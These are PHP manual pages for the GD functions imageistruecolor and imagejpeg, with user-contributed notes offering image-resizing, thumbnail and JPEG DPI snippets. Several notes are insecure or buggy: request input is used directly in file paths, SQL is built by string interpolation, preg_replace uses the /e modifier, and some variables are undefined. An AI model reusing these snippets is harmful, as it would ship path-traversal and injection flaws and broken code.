There is a bug in Microsoft Internet Explorer (at least at present) that means that often, a progressive/interlaced JPEG will actually NOT show at all whilst loading, suddenly appearing only when the entire picture has loaded. A regular NON-interlaced/NON-progressive JPEG will display line by line as it loads, which paradoxically gives the illusion that it's loading faster. MSIE definitely has this one backwards!!

This behaviour is not apparent in other browsers such as Mozilla/FireFox - in these browsers, the image loads progressively, as it should.
PHPProgrammer 24-Nov-2003 03:21
Using the interlace-option reduces the filesize! (doesnt really match with the idea that an additional low-res-image is stored)


Finds whether an image is a truecolor image

  • « imageinterlace
  • imagejpeg »
  • PHP Manual
  • GD and Image Functions
  • Finds whether an image is a truecolor image

imageistruecolor

(PHP 4 >= 4.3.2, PHP 5)

imageistruecolor — Finds whether an image is a truecolor image

Description

bool imageistruecolor ( resource $image )

imageistruecolor() finds whether the image image is a truecolor image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

Return Values

Returns TRUE if the image is truecolor, FALSE otherwise.

Examples

Example #1 Simple detection of true color image instances using imageistruecolor()

<?php
// $im is an image instance

// Check if image is a true color image or not
if(!imageistruecolor($im))
{
    // Create a new true color image instance
    $tc = imagecreatetruecolor(imagesx($im), imagesy($im));

    // Copy over the pixels
    imagecopy($tc, $im, 0, 0, 0, 0, imagesx($im), imagesy($im));
    imagedestroy($im);

    $im = $tc;
    $tc = NULL;

    // OR use imagepalettetotruecolor()
}

// Continue working with image instance
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imagecreatetruecolor() - Create a new true color image
  • imagepalettetotruecolor() - Converts a palette based image to true color

User Contributed Notes

There are no user contributed notes for this page.


Output image to browser or file

  • « imageistruecolor
  • imagelayereffect »
  • PHP Manual
  • GD and Image Functions
  • Output image to browser or file

imagejpeg

(PHP 4, PHP 5)

imagejpeg — Output image to browser or file

Description

bool imagejpeg ( resource $image [, string $filename [, int $quality ]] )

imagejpeg() creates a JPEG file from the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

The path to save the file to. If not set or NULL, the raw image stream will be outputted directly.

To skip this argument in order to provide the quality parameter, use NULL.

quality

quality is optional, and ranges from 0 (worst quality, smaller file) to 100 (best quality, biggest file). The default is the default IJG quality value (about 75).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Outputting a JPEG image

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// Set the content type header - in this case image/jpeg
header('Content-Type: image/jpeg');

// Output the image
imagejpeg($im);

// Free up memory
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : Outputting a JPEG image

Example #2 Saving a JPEG image

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// Save the image as 'simpletext.jpg'
imagejpeg($im, 'simpletext.jpg');

// Free up memory
imagedestroy($im);
?>

Example #3 Outputting the image at 75% quality

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// Set the content type header - in this case image/jpeg
header('Content-Type: image/jpeg');

// Skip the filename parameter using NULL, then set the quality to 75%
imagejpeg($im, NULL, 75);

// Free up memory
imagedestroy($im);
?>

Notes

Note: JPEG support is only available if PHP was compiled against GD-1.8 or later.

Note:

If you want to output Progressive JPEGs, you need to set interlacing on with imageinterlace().

See Also

  • imagepng() - Output a PNG image to either the browser or a file
  • imagegif() - Output image to browser or file
  • imagewbmp() - Output image to browser or file
  • imageinterlace() - Enable or disable interlace
  • imagetypes() - Return the image types supported by this PHP build

User Contributed Notes

liquid2026 04-Oct-2014 09:36
There is a "bug" in PHP 5.4.32
If you use
<?php
ImageJPEG($newIMG,"",$q);
?>
it wont work enymore. Use still NULL
<?php
ImageJPEG($newIMG,NULL,$q);
?>
Brian Moreau 09-Jan-2014 07:50
If like me you like to rename uploaded images and add the time to the file name so you never end up with two images with the same name.

Watch out because you can save a file on your server using illegal characters such as a colon ":"

e.g
030363 6-01-2014 18:05:29 image.jpg

I spent ages trying to work out why my FTP program would not download the images created with PHP

I guess this might be dependent on what file system your using but it wouldn't let me download the images to a windows file system.

But I can obviously create files on my Linux server with a colon in the file name.
Bruno de Lima - bruno at tthedreamstone dot net 24-Jul-2013 04:23
One single code line, solve-me after 3 hours of blind search!

here is:

... ob_start();
  header( "Content-type: image/jpeg" );
  imagejpeg( $img, NULL, 100 );
  imagedestroy( $img );
  $i = ob_get_clean();

echo "<img src='data:image/jpeg;base64," . base64_encode( $i )."'>"; //saviour line!
php-stuff at corz dot org 08-Jun-2013 06:16
If you are trying to get some of these examples working with a recent version of php and getting the error, "Filename cannot be empty in...", check your second parameter. You can no longer use "", but MUST use "null" (no quotes).

This breaking-change-with-no-note-or-warning may be true of other image functions.
dodgeit2 at yahoo dot com 21-Aug-2011 08:33
Problem: The URL of the current page is displaying in the browser window as an image file. At the same time your manipulated image saves to a file.

Solution: Start with removal of the header() function if you plan to output to a file. The browser is expecting image information; therefore, if you are outputting to a file, you don't need a header() function at all.

If you are outputting to the browser check your imagejpeg() for parameter 2. Set it to 'null' if it has a file name.

Many of the examples programmers illustrate on the web output to the browser and do not save anything to the file system, therefore, the header() function seems essential to image manipulation for the first-time user of the GD library.

This page actually clearly shows the difference between "outputting" to a browser and "saving" to a file, but the code comments don't clearly state what the difference is.

Search for the page on the "header()" function on this website for more details.

Example: Let's say that you are outputting to a jpeg using imagejpeg(). Note the use of the header() function when outputting to the browser.

<?php

/*
more
code
to
make
it
work
*/

// These just illustrate the different outputs.

// outputting to the browser
// header() needed for browser
header('Content-Type: image/jpeg')
imagejpeg($im);

// saving to a file
// you do not need a header() function to save to a file
imagejpeg($im, "../images/image001.jpg");

// outputting to the browser including quality parameter.
// skipping parameter2 to output to browser
header('Content-Type: image/jpeg');
imagejpeg($im, null, 90);

// saving to a file including quality parameter.
// all parameters used for saving to a file with quality adjustment
imagejpeg($im, "../images/image001.jpg", 90);

?>
bernytech at gmail dot com 05-May-2011 12:32
Don't be like me racking my brain for hours trying to figure out why my xxx.php file outputs http://localhost/xxx.php as a one line response.

Why?

Most likely, you have either:

1. whitespaces before or after the php tags
2. need to set header('Content-type: image/jpeg');
3. if you have required files...be sure nothing is outputted...no test print statements because page expects image information
4.  there is an error in your code

in my case, it was 4.  there is a reason why the function call base64decode does not work...

it's actually: base64_decode()

by the way, other ways to validate your image encoded in base64 is to use the following tag:

echo '<img src="data:image/jpeg;base64,'.$row['IMAGE'].'" alt="photo">';

I was pulling a blob encoded base 64 data from mysql database and trying to render it on a page

hope this helps someone.
Ray.Paseur sometimes uses Gmail 23-Sep-2010 12:06
If string $filename is given and it exists, it will be overwritten.
hikmet1023 at hotmail dot com 16-Mar-2010 05:46
WARNING for those who use utf-8 scripts:
Before going crazy like me for a whole day and digging around configuration files etc.

DIRECT BROWSER OUTPUT using imagejepeg worked only after i have saved my script in ANSI instead of utf-8
Anonymous 31-Jul-2009 12:16
I wanted a function that could resize an image and store the resulting thumbnail in a variable so I could manually save it. Here is the function. I basically strung together two snippets, one from this website (I think) and one by MrCoder here: http://www.webdeveloper.com/forum/showthread.php?t=188298.

<?php
function resizeToVariable($sourceImage,$newHeight,$newWidth,$destImage)
{
    list($width,$height) = getimagesize($image);
    $img = imagecreatefromjpeg($sourceImage);
    // create a new temporary image
    $tmp_img = imagecreatetruecolor($newHeight,$newWidth);
    // copy and resize old image into new image
    imagecopyresized( $tmp_img, $img, 0, 0, 0, 0,$newHeight,$newWidth, $width, $height );
    // use output buffering to capture outputted image stream
    ob_start();
    imagejpeg($tmp_img);
    $i = ob_get_clean();
    // Save file
    $fp = fopen ($destImage,'w');
    fwrite ($fp, $i);
    fclose ($fp);
}
?>

You can use this for all your image resizing tasks. I for some reason had a problem using imagejpeg to save the image directly.
tomas at dundacek dot cz 08-Jun-2009 10:31
I had a problem with denied permissions when trying to upload AND resize an image having safe_mode on. This caused that I couldn't create the new file in which I wanted to resampled the image with nor with imagejpeg() nor with touch() and imagejpeg() after it.

Here is my solution, I didn't test, but it's possible, it is biting some memory:

<?php
function resize($image, $target_file) {
  // $image is the uploaded image
  list($width, $height) = getimagesize($image['tmp_name']);

  //setup the new size of the image
  $ratio = $width/$height;
  $new_height = 500;
  $new_width = $new_height * $ratio;

  //move the file in the new location
  move_uploaded_file($image['tmp_name'], $target_file);

  // resample the image
  $new_image = imagecreatetruecolor($new_width, $new_height);
  $old_image = imagecreatefromjpeg($target_file);
  imagecopyresampled($new_image,$old_image,0,0,0,0,$new_width, $new_height, $width, $height);

  //output
  imagejpeg($new_image, $target_file, 100);
}

?>

As you can see, the function moves the uploaded file where you want to save the resampled image (move_uploaded_file is not restricted by safe_mode) and then you can resample the image, because it was created by moving it already.

Note: the directory where you want to save the file must have permissions set to 0777.
viciousVelo 06-Apr-2009 04:49
for those who get the message "permission denied" or "unable to access": it looks like a problem with your writepermissions to this folder. no matter if you use windows- or linuxserver, be sure the correct user has the permission to write to the correct folder.
francesco@essensys 26-Mar-2009 02:23
I didn't find any example like this on the Web, so I mixed pieces together.. hope this will save time to other people!

Here's a complete solution to READ any image (gif jpg png) from the FILESYSTEM, SCALE it to a max width/height, SAVE the scaled image to a BLOB field keeping the original image type. Quite tricky..

<?php

function scaleImageFileToBlob($file) {

    $source_pic = $file;
    $max_width = 200;
    $max_height = 200;

    list($width, $height, $image_type) = getimagesize($file);

    switch ($image_type)
    {
        case 1: $src = imagecreatefromgif($file); break;
        case 2: $src = imagecreatefromjpeg($file);  break;
        case 3: $src = imagecreatefrompng($file); break;
        default: return '';  break;
    }

    $x_ratio = $max_width / $width;
    $y_ratio = $max_height / $height;

    if( ($width <= $max_width) && ($height <= $max_height) ){
        $tn_width = $width;
        $tn_height = $height;
        }elseif (($x_ratio * $height) < $max_height){
            $tn_height = ceil($x_ratio * $height);
            $tn_width = $max_width;
        }else{
            $tn_width = ceil($y_ratio * $width);
            $tn_height = $max_height;
    }

    $tmp = imagecreatetruecolor($tn_width,$tn_height);

    /* Check if this image is PNG or GIF, then set if Transparent*/
    if(($image_type == 1) OR ($image_type==3))
    {
        imagealphablending($tmp, false);
        imagesavealpha($tmp,true);
        $transparent = imagecolorallocatealpha($tmp, 255, 255, 255, 127);
        imagefilledrectangle($tmp, 0, 0, $tn_width, $tn_height, $transparent);
    }
    imagecopyresampled($tmp,$src,0,0,0,0,$tn_width, $tn_height,$width,$height);

    /*
     * imageXXX() only has two options, save as a file, or send to the browser.
     * It does not provide you the oppurtunity to manipulate the final GIF/JPG/PNG file stream
     * So I start the output buffering, use imageXXX() to output the data stream to the browser,
     * get the contents of the stream, and use clean to silently discard the buffered contents.
     */
    ob_start();

    switch ($image_type)
    {
        case 1: imagegif($tmp); break;
        case 2: imagejpeg($tmp, NULL, 100);  break; // best quality
        case 3: imagepng($tmp, NULL, 0); break; // no compression
        default: echo ''; break;
    }

    $final_image = ob_get_contents();

    ob_end_clean();

    return $final_image;
}

?>

So, let's suppose you have a form where a user can upload an image, and you have to scale it and save it into your database.

<?php

    [..] // the user has clicked the Submit button..

    // Check if the user entered an image
    if ($_FILES['imagefile']['name'] != '') {
        $image = scaleImageFileToBlob($_FILES['imagefile']['tmp_name']);

        if ($image == '') {
            echo 'Image type not supported';
        } else {
            $image_type = $_FILES['imagefile']['type'];
            $image = addslashes($image);

            $query  = "UPDATE yourtable SET image_type='$image_type', image='$image' WHERE ...";
            $result = mysql_query($query);
            if ($result) {
               echo 'Image scaled and uploaded';
             } else {
               echo 'Error running the query';
             }
        }
    }

?>
soapergem at gmail dot com 06-Nov-2008 10:48
I came here looking for something similar to the getJPEGresolution function, but noticed the drawbacks that were pointed out in the last post. So, after drawing on some other code examples on the web, I put together the following function which should always properly return the correct values. (But remember that you still need to have the EXIF extension installed with your instance of PHP for this to work!)

<?php

function jpeg_dpi($filename)
{
    if ( exif_imagetype($filename) != IMAGETYPE_JPEG ) {
        return false;
    } else {
        $exif = exif_read_data($filename, 'IFD0');
    }

    $x = $y = 0;
    if ( isset($exif['XResolution']) && isset($exif['YResolution']) ) {
        $x = intval(preg_replace('@^(\\d+)/(\\d+)$@e', '$1/$2', $exif['XResolution']));
        $y = intval(preg_replace('@^(\\d+)/(\\d+)$@e', '$1/$2', $exif['YResolution']));
    }

    if ( !$x && !$y && $fp = fopen($filename, 'r') ) {
        $string = fread($fp, 20);
        fclose($fp);

        $data = bin2hex(substr($string, 14, 4));
        $x = hexdec(substr($data, 0, 4));
        $y = hexdec(substr($data, 4, 4));
    }

    if ( $x || $y ) {
        return array($x, $y);
    }

    return false;
}

?>

This function returns an array with the x-resolution, y-resolution when they can be determined, otherwise FALSE.
ahows at noggin dot com dot au 22-Oct-2008 07:36
Regarding the code below, it only grabs the last byte of the DPI information in JFIF-mode. I was wondering why my 300-DPI file was being reported as 44. 300 - 256 = 44 of course.
lorezyra (at) lorezyra (dot) com 13-Sep-2008 04:57
I noticed through testing that my previous function would not always return the data requested... this is due to the fact that some cameras and software dont correctly write the DPI info in the JFIF header... So, my 2nd solution is to read the exif info (if available) and output the first non-zero value as the DPI...

<?PHP
function getJPEGresolution($filename){
    if(exif_imagetype( $filename)!= IMAGETYPE_JPEG) return(false);
    $outRez=array();
    // Read the file
    $exif = exif_read_data($filename, 'IFD0');

    ob_start(); // start a new output buffer
    $image   = file_get_contents($filename);

    // grab DPI information from the JPG header
    $outRez["xDPI"] = (int)(ord($image[15])>0? ord($image[15]) : $exif['XResolution'] );
    $outRez["yDPI"] = (int)(ord($image[17])>0? ord($image[17]) : $exif['YResolution'] );
    ob_end_clean(); // stop this output buffer

    //correct output if header doesn't contain dpi info:: use exif info instead
    $outRez["xDPI"] = ($outRez["xDPI"]>0? $outRez["xDPI"] : $exif['THUMBNAIL']['XResolution'] );
    $outRez["yDPI"] = ($outRez["yDPI"]>0? $outRez["yDPI"] : $exif['THUMBNAIL']['YResolution'] );

    //double check values; make sure it's just a number and not "72/1" ...
    if(!is_numeric($outRez["xDPI"])) $outRez["xDPI"] = (int)substr($outRez["xDPI"], 0, strpos($outRez["xDPI"],"/",1));
    if(!is_numeric($outRez["yDPI"])) $outRez["yDPI"] = (int)substr($outRez["yDPI"], 0, strpos($outRez["yDPI"],"/",1));

    //xDPI and yDPI should equal in value... but we output both anyway...
    return($outRez);
}//end function getJPEGresolution
?>
lorezyra (at) lorezyra (dot) com 13-Sep-2008 03:50
For those looking to grab the resolution of a JPEG image without using GD nor ImageMagic... I wrote this simple function.

Too bad GD doesn't have this very simple function for us to use...

<?php
function getJPEGresolution($filename){
    $outRez=array();
    // Read the file
    ob_start(); // start a new output buffer
    $image   = file_get_contents($filename);

    // grab DPI information from the JPG header
    $outRez["xDPI"] = ord($image[15]);
    $outRez["yDPI"] = ord($image[17]);
    ob_end_clean(); // stop this output buffer

    //xDPI and yDPI should equal in value... but we output both anyway...
    return($outRez);
}//end function getJPEGresolution
?>
stefan at colulus dot com 30-May-2008 08:16
I worked out a script that allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagejpeg($im);

?>
xavi at lapalomera dot com 21-May-2008 08:11
For those whom needs other dpi image than the GD library, just do the following:

<?php
//Get jpeg image contents
ob_start();
imagejpeg($image, "", 100);
$image = ob_get_contents();
ob_end_clean();

//Or read jpeg image
$image = file_get_contents($file);

//Replace header image info to set DPI as units and the density for X and Y
//First parameter are units for X and Y densities (0x00 No units, 0x01 DPI, 0x02 DPC)
//Second parameter is the X density
//Third parameter is the Y density
$image = substr_replace($image, pack("Cnn", 0x01, 300, 300), 13, 5);

header("Content-type: image/jpeg");
header('Content-Disposition: attachment; filename="'.basename($file).'"');

echo $image;
?>
gcc dot programmer at gmail dot com 28-Mar-2008 06:24
The following was developed using Mac OSX ( Linux ).  The ghostscript call would have to be changed on a Windows box...

In an application I was developing, I needed to create .jpg thumbnails from .pdf uploaded files.  After some research, I found one easy way to accomplish this was ( SIMPLIFIED ):

<?php
     exec("sw/bin/gs -q -dNOPAUSE -dBATCH -sDEVICE=jpeg
              -sOutputFile=test.jpg theFile.pdf");
?>

This of course assumes that ghostscript is installed on the server, you have permissions, yada...

Essentially this calls on ghostscript to do the conversion.

So, then, once the new .jpg is created, it needed to be resized to accomodate the UI.  Though I could easily do it from the command line with "convert", I was having issues using this command from PHP ( it's not my first language ).  I found this thread while groping for a different method, and found an unworkable solution that stimulated me to write the following:

( commented out lines were for debug, but might prove instructional for your own purposes, so I left them in )

[This function takes in a .jpg file to be converted to a thumbnail, the new width you want the thumbnail to be, and the name to which you want the thumbnail saved.  It then creates the thumbnail]

<?php
     function createImage( $upload, $newWidth, $name )
     {
          if (!$info = getimagesize($upload) )
               return false;
          //echo "width: "  . $info[0] . "<br/>";
          //echo "height: " . $info[1] . "<br/>";

          //create crude aspect ratio:
          $aspect = $info[0] / $info[1];
          $newHeight = round( $newWidth/$aspect );
          //echo "$newHeight <br/>";

          $src = @imagecreatefromjpeg("$upload");
          if ( !$src )
               return false;

          $tmp = @imagecreatetruecolor( $newWidth, $newHeight );
          imagecopyresampled( $tmp, $src, 0, 0, 0, 0, $newWidth,
                                         $newHeight, $info[0], $info[1] );

          imagejpeg( $tmp, $name, 100 );
          imagedestroy( $src );
          imagedestroy( $tmp );
          return true;
     }

?>

$upload = the path to the file you want to make a thumbnail from.

$newWidth = the width of your thumbnails.

$name = the path ( including name ) of the thumbnail you're creating.

If I have test.jpg in my servers root directory, and I want a thumbnail
with a width of 120 pixels, with the name thumb.jpg also to be saved
in the servers root directory, I'd call this function thus:

<?php
     createImage("test.jpg", 120, "thumb.jpg");
?>

I hope this makes life easier for somebody.
Anonymous 16-Mar-2008 07:24
Here is a function to resize an image and maintain aspect ratio. It will resize jpeg, gif or png and could easily be modified to add bmp. The name field is the destination of the file minus the file extension:

<?php
//name= filename minus type
    function createImage($uploadedfile,$newWidth,$name)
    {
        // Capture the original size of the uploaded image
        if(!$info=getimagesize($uploadedfile))
          return false;

        switch ($info['mime'])
        {
            case 'image/jpeg':
                $src = imagecreatefromjpeg($uploadedfile);
                break;
            case 'image/gif':
                $src = imagecreatefromgif($uploadedfile);
                break;
            case 'image/png':
                $src = imagecreatefrompng($uploadedfile);
                break;
            default:
                return false;
        }

        //Change the filename to add the filetype
        $mime=split("image/",$info['mime']);
        $filename=$name.".".$mime[1];

        $size = getimagesize($uploadedfile);
        $newHeight=aspect_ratio($size[0],$newWidth,$size[1]);

        $tmp=imagecreatetruecolor($newWidth,$newHeight);

        // this line actually does the image resizing, copying from the original
        // image into the $tmp image
        imagecopyresampled($tmp,$src,0,0,0,0,$newWidth,$newHeight,$info[0], $info[1]);

        switch ($info['mime'])
        {
            case 'image/jpeg':
                imagejpeg($tmp,$filename,100); //100 is the quality settings, values range from 0-100.
                break;
            case 'image/gif':
                imagegif($tmp,$filename,100); //100 is the quality settings, values range from 0-100.
                break;
            case 'image/png':
                imagepng($tmp,$filename); //100 is the quality settings, values range from 0-100.
                break;
        }

        imagedestroy($src);
        imagedestroy($tmp); // NOTE: PHP will clean up the temp file it created when the request
        // has completed.
        return true;
    }

    if(!createImage($uploadedfile,100, "uploaded_images/imgname"))
    {
      echo "error";
    }
?>
james [at] bellisinasce.it 21-Jan-2008 06:20
When using

ImageJpeg ($img, "", $qlty) or any other Image*() command, with direct output to browser, BE ABSOLUTELY CERTAIN that your php file does not contain any \r, \n, or white spaces before the <? and after the ?> signs.

This should always kept in mind, not only for the file you are executing BUT ALSO FOR ALL THE INCLUDES called during the file execution!

I got totally crazy about this, for a whole weekend :(
My php editor did not correctly display a \n sign, as I was locally using a different charset/OS.

example

<?
include ("/usr/www.example.com/inc/function.inc.php");
include ("/usr/www.example.com/inc/function.common.php");
connect_db0 ();
$admin_cookie = ckadmin_cookie ();
...
$img = file_get_contents ($path.$_GET['src']);
$im = imagecreatefromstring ($img);
header ("Content-Type: image/jpeg");
imageJPEG ($im);
imageDestroy ($im);
...

?>

If any of the included files, for any reason, prints an error message (or simply a warning) or has any white spaces/return/new line chars before "<?" or  after the ">?" signs, the result will be a broken image!

Even looking inside the defective image, it will be quite difficult to notice the unwanted characters, especially if you are using something like the windows' notepad... X(

If nothing is found, with the file/php editors, and you are not sure about your charset compatibility, I suggest to try to edit directly the files on the server, if possible, and search for all unwanted chars. ;)
pbijl 20-Dec-2007 12:37
note that using a different quality besides the default can result in strange cropping when resizing for example.
Michaelsoft 16-Oct-2007 11:50
I could not find any information on changing the DPI information on a JPG file using the GD lib. Since changing this does not resize or scale the actual image, it is only a header-setting.
The following snipplet will save your $image to $file and set the DPI to 150.

<?php

  imagejpeg($image, $file, 75);

  // Change DPI
  $dpi_x   = 150;
  $dpi_y   = 150;

  // Read the file
  $size    = filesize($file);
  $image   = file_get_contents($file);

  // Update DPI information in the JPG header
  $image[13] = chr(1);
  $image[14] = chr(floor($dpi_x/255));
  $image[15] = chr(      $dpi_x%255);
  $image[16] = chr(floor($dpi_y/255));
  $image[17] = chr(      $dpi_y%255);

  // Write the new JPG
  $f = fopen($file, 'w');
  fwrite($f, $msg, $size);
  fclose($f);

?>

P.s. not fully tested (yet) but it works for my images ...
Elliott Brueggeman 30-Jul-2007 06:37
I did an experiment with the image quality parameter of the imagejpeg() function when creating jpegs. I found the optimal image quality with file size is taken into account to be 80 - very close to the default value of 75.

Anything over 80 results in an unnecessary increase in file size without much increase in image quality.

Results and sample pictures: http://www.ebrueggeman.com/article_php_image_optimization.php
write2shadi [at] gmail [dot] com 30-Jul-2007 03:54
after seeking for 2 days why ImageJpeg() was writing an empty file to the server, it was due to insufficient disk space on my hosting plan.... hope this helps,
Pedja (pedja at supurovic dot net) 26-Jul-2007 07:59
Here is sample function that creates thumbnail of source JPEG file. Thumbnail wil be in square form (with and height are the same), and original image cropped to fit in.

Parameters:

$p_thumb_file - name of the file (including path) where thumb should be saved to

$p_photo_file - nam of the source JPEG file (including path) thatthumbnail should be created of

$p_max_size - with and height (they will be the same) in pixels for thumbnail image

$p_quality - quality of jpeg thumbnail

<?php

function photoCreateCropThumb ($p_thumb_file, $p_photo_file, $p_max_size, $p_quality = 75) {

    $pic = @imagecreatefromjpeg($p_photo_file);

    if ($pic) {
        $thumb = @imagecreatetruecolor ($p_max_size, $p_max_size) or die ("Can't create Image!");
        $width = imagesx($pic);
        $height = imagesy($pic);
        if ($width < $height) {
                $twidth = $p_max_size;
                $theight = $twidth * $height / $width;
                imagecopyresized($thumb, $pic, 0, 0, 0, ($height/2)-($width/2), $twidth, $theight, $width, $height);
        } else {
                $theight = $p_max_size;
                $twidth = $theight * $width / $height;
                imagecopyresized($thumb, $pic, 0, 0, ($width/2)-($height/2), 0, $twidth, $theight, $width, $height);
        }

        ImageJPEG ($thumb, $p_thumb_file, $p_quality);
    }

}

?>
Ross 27-Apr-2007 04:53
This is a function that I had developed for a CMS.  The idea is that it runs from an upload form. The user uploads a hi-res image, which is copied to the server, a low res one is created (half the width/height of hi res) and a thumbnail is created.

The image is resized matching the smallest side of the image to the thumbnail size (in this example it is 70px).  The other side is then resized proportionally (which will end up being more than 70px) and cropped and centered so that it too is 70px.

There is a mixture of imagecopyresized and imagecopyresampled, i have chosen the ones that work best in this situation but imagecopyresampled gives a much nicer image.

Hope this helps someone.

        $dest_hires = "../images/artistsphotos/".$imageName."h.jpg";
        $dest_lowres = "../images/artistsphotos/".$imageName."l.jpg";
        $dest_thumbnail = "../images/artistsphotos/".$imageName."i.jpg";

        /*upload full size image to site - if it is hi res we do not want to manipulate it
        want to leave all qualit in tact.*/
        move_uploaded_file($_FILES["fileartimg"]["tmp_name"],"$dest_hires");

        $ims = getimagesize($dest_hires); //now we have dimensions of original image...

        /******creating lower res image******/
        $newwidth=ceil($ims[0]/2);//half the width of original file - use ceil() to avoid decimals.
        $newheight=ceil($ims[1]/2);//half the height

        $img = imagecreatetruecolor($newwidth,$newheight); //low res img - always use truecolor to prevent any 'wierd' colour effects.
        $org_img = imagecreatefromjpeg($dest_hires); //load in hi res

        imagecopyresized($img, $org_img, 0, 0, 0, 0, $newwidth, $newheight, $ims[0], $ims[1]);
        imagejpeg($img,$dest_lowres,80);//save to file low res img.
        imagedestroy($img);

        /******creating thumbnail******/
        //see which is bigger, x or y axis, then resize smaller side to 70.
        //$resizewidth is the temporary width of the thumbnail, it is in fact the width when it has been resized
        //using the apect ration and before cropping, at this stage the thumb will not be 70px X 70px
        //unless it is a square. Same applies to height ($resizeheight).
        //$thumbx and $thumby are the positions of the cropping are for thumbnail, these are calculated
        //so that the cropped image is centered.

        if ($ims[0]>$ims[1])
        {//then the width is bigger
            $aspectRatio = $ims[1]/70;

            $resizewidth=ceil($ims[0]/$aspectRatio);
            $resizeheight=70;

            $thumbx=ceil(($resizewidth - $thumbwidth)/2);
            $thumby=0;
        }
        else if ($ims[0]<$ims[1])
        {//then the height is bigger
            $aspectRatio = $ims[0]/70;

            $resizewidth=70;
            $resizeheight=ceil($ims[1]/$aspectRatio);

            $thumbx=0;
            $thumby=ceil(($resizeheight - $thumbheight)/2);
        }
        else if ($ims[0]==$ims[1])
        {//then we have a perfect square.
            $resizewidth=70;
            $resizeheight=70;
            $thumbx=0;
            $thumby=0;
        }

        $img = imagecreatetruecolor($resizewidth,$resizeheight);
        $org_img = imagecreatefromjpeg($dest_lowres);

        //this is the almost thumbnail sized image with everything resized to ratio
        imagecopyresampled($img, $org_img, 0, 0, 0, 0, $resizewidth, $resizeheight, $newwidth, $newheight);
        $img2 = imagecreatetruecolor($thumbwidth,$thumbheight);

        //this is the thumbnail image, where the above is cropped.
        imagecopyresized($img2, $img, 0, 0, $thumbx, $thumby, $resizewidth, $resizeheight, $resizewidth, $resizeheight);
        imagejpeg($img2,$dest_thumbnail,100);
        imagedestroy($img);
        imagedestroy($img2);
john at mtslink dot com 05-Jan-2007 05:07
Just wanted to mention that the create_thumbnail script below fails on uppercase filenames. Many cameras default to IMG_XX.JPG and since strpos is case sensitive it fails.

I changed all the strpos to stripos and it worked wonderfully.
webmaster at jongliertreff dot de 25-Aug-2006 01:56
Here's another on-the-fly thumbnail creation script.
When I scripted the pictuerviewer on my page, I had all the pictures only in full size and qualit, because I wanted the posibility für visitors to download the pictures.
But as Imagesizes of more than 4 MP are to large for websites, I created thumbnails and the smaller pictures on the fly. But I found out, that the Script needed too much RAM, especially in the thumbnail overview, when I had more then 50 thumbnails to create on the fly at the same time.

So I modified my image creator and my viewer to let them store images, that are created. So only the first visitor has to wait (which is usually me for controlling the uploads und updates), all other visitors get the stored images, which is much faster.

Create different folders. I have a main folder called 'imagesdb' and the tree subfolders full (Full quality images), show (images for the picture viewer) and thumb (for thumbnails in overview).

Store the script for example as image.php and link it like that:

<?PHP
$image_name = "foo.jpg";
$style = "show";
     // I've taken the foldernames. It's easier. For the
     //thumbnails replace "show" with "thumb".
$image_name = "imagesdb/$style/$image_name";
if(!file_exists($image_name))
        $image_name = "image.php?image_name=$image_name&style=$style";
     // only if file doesn't exist call the on-the-fly creating file
?>

Now the main script, stored in the file image.php:

<?PHP

$image_name = $_GET['image_name'];
$style = $_GET['style'];

     // Now set the maximum sizes to the different styles.
     // You may set additional styles, but remember to
     // create the according subfolders.

switch($style) {
  case "show":
    $max_size = 800;
    break;
  case "thumb":
    $max_size = 125;
}

$dest_file = "imagesdb/$style/$image_name";
     // set output file
$image_file = "imagesdb/full/$image_name";
     // set source file
$size = getimagesize($image_file);
     // get original size

if($size[0] > $size[1]) {
  $divisor = $size[0] / $max_size;
}
else {
  $divisor = $size[1] / $max_size;
}
     // to get allways pictures of the same size, which ist
     // mostly wanted in imageviewers, look what ist larger:
     // width or height

$new_width = $size[0] / $divisor;
$new_height = $size[1] / $divisor;
     // set new sizes

settype($new_width, 'integer');
settype($new_height, 'integer');
     // sizes should be integers

$image_big = imagecreatefromjpeg($image_file);
     // load original image
$image_small = imagecreatetruecolor($new_width, $new_height);
     // create new image
imagecopyresampled($image_small, $image_big, 0,0, 0,0, $new_width,$new_height, $size[0],$size[1]);
     // imageresampled whill result in a much higher quality
     // than imageresized
imagedestroy($image_big);
     // the original data are no longer used

header("Content-type: image/jpeg");

if($style=="show" || $style=="thumb") {
  if(!file_exists($dest_file))
    imagejpeg($image_small, $dest_file, 100);
}
     // if you have set additional sizese put them in the
     // if-arguments, too.
     // if someone calls the image.php directly in the
     // browser with imagenames allready existing, they
     // won't be overwritten
